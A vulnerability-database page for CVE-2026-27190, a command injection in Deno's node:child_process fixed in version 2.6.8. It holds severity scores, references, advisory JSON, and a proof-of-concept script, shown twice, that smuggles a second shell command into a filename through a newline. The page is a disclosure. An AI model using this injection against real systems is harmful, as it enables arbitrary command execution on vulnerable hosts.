Vulnerability-Lookup

CVE-2026-27190 (GCVE-0-2026-27190)

Vulnerability from cvelistv5 – Published: 2026-02-20 20:52 – Updated: 2026-02-24 18:30

Title

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Summary

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/denoland/deno/security/advisor…	x_refsource_CONFIRM
	https://github.com/denoland/deno/commit/9132ad958…	x_refsource_MISC
	https://github.com/denoland/deno/releases/tag/v2.6.8	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	denoland	deno	Affected: < 2.6.8

Show details on NVD website

JSON

To clipboard

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GHSA-HMH4-3XVX-Q5HR

Vulnerability from github – Published: 2026-02-19 20:31 – Updated: 2026-02-20 22:20

Summary

Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Details

Summary

A command injection vulnerability exists in Deno's node:child_process implementation.

Reproduction

import { spawnSync } from "node:child_process";
import * as fs from "node:fs";

// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}

// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;

// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
  shell: true,
  encoding: 'utf-8'
});

// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rce_proof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-19T20:31:41Z",
    "nvd_published_at": "2026-02-20T21:19:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nA command injection vulnerability exists in Deno\u0027s `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync(\u0027/tmp/rce_proof\u0027); } catch {}\n\n// Create legitimate script\nfs.writeFileSync(\u0027/tmp/legitimate.ts\u0027, \u0027console.log(\"normal\");\u0027);\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), [\u0027run\u0027, \u0027--allow-all\u0027, maliciousInput], {\n  shell: true,\n  encoding: \u0027utf-8\u0027\n});\n\n// Verify\nconsole.log(\u0027Exploit worked:\u0027, fs.existsSync(\u0027/tmp/rce_proof\u0027));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).",
  "id": "GHSA-hmh4-3xvx-q5hr",
  "modified": "2026-02-20T22:20:03Z",
  "published": "2026-02-19T20:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.6.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process"
}

FKIE_CVE-2026-27190

Vulnerability from fkie_nvd - Published: 2026-02-20 21:19 - Updated: 2026-02-23 18:14

Severity ?

8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.

References

	URL	Tags
	security-advisories@github.com	https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c
	security-advisories@github.com	https://github.com/denoland/deno/releases/tag/v2.6.8
	security-advisories@github.com	https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno\u0027s node:child_process implementation. This vulnerability is fixed in 2.6.8."
    }
  ],
  "id": "CVE-2026-27190",
  "lastModified": "2026-02-23T18:14:13.887",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-20T21:19:28.090",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/denoland/deno/releases/tag/v2.6.8"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
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      "type": "Primary"
    }
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-27190 (GCVE-0-2026-27190)

GHSA-HMH4-3XVX-Q5HR

Summary

Reproduction

Mitigation

FKIE_CVE-2026-27190

Tags

Sightings

Nomenclature